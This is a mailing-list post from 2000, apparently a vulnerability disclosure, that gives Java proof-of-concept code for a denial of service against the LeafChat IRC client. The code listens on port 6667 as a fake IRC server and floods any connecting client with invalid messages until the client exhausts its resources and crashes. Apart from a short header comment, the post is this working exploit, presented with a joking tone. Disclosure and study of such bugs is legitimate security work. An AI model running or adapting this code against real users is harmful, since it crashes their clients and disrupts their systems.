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LeafChat Denial of Service
From: wizdumb () UNIX ZA NET (Andrew Lewis)
Date: Sun, 25 Jun 2000 21:00:06 +0200
/* The MDMA Crew's Proof-of-concept code for the DoS affecting LeafChat * * When the LeafChat IRC client recieves invalid data from the server, it * displays a dialog box with an error message. Should the server rapidly * send invalid messages, the system soon becomes dangerously low in * resources and commits harikiri. :-) * * Vendor Info: www.leafdigital.com/Software/leafChat * Crew Info: www.mdma.za.net || wizdumb () mdma za net */ import java.io.*; import java.net.*; class leafMeAlone { // Line below will have to be changed for Microsoft's Java VM - oops ;P static void main(String[] args) throws IOException, UnknownHostException { ServerSocket shervshoq = null; PrintWriter white = null; Socket shmoeshoq = null; shervshoq = new ServerSocket(6667); System.out.print("Now listening on Port 6667... "); try { shmoeshoq = shervshoq.accept(); white = new PrintWriter(shmoeshoq.getOutputStream(), true); } catch (IOException e) { System.out.println("Errors accepting connection, y0"); System.exit(1); } System.out.print("Connection recieved\nCrashing client... "); for (;;) { white.println("."); if (white.checkError()) { System.out.println("Crashed"); break; } } } }
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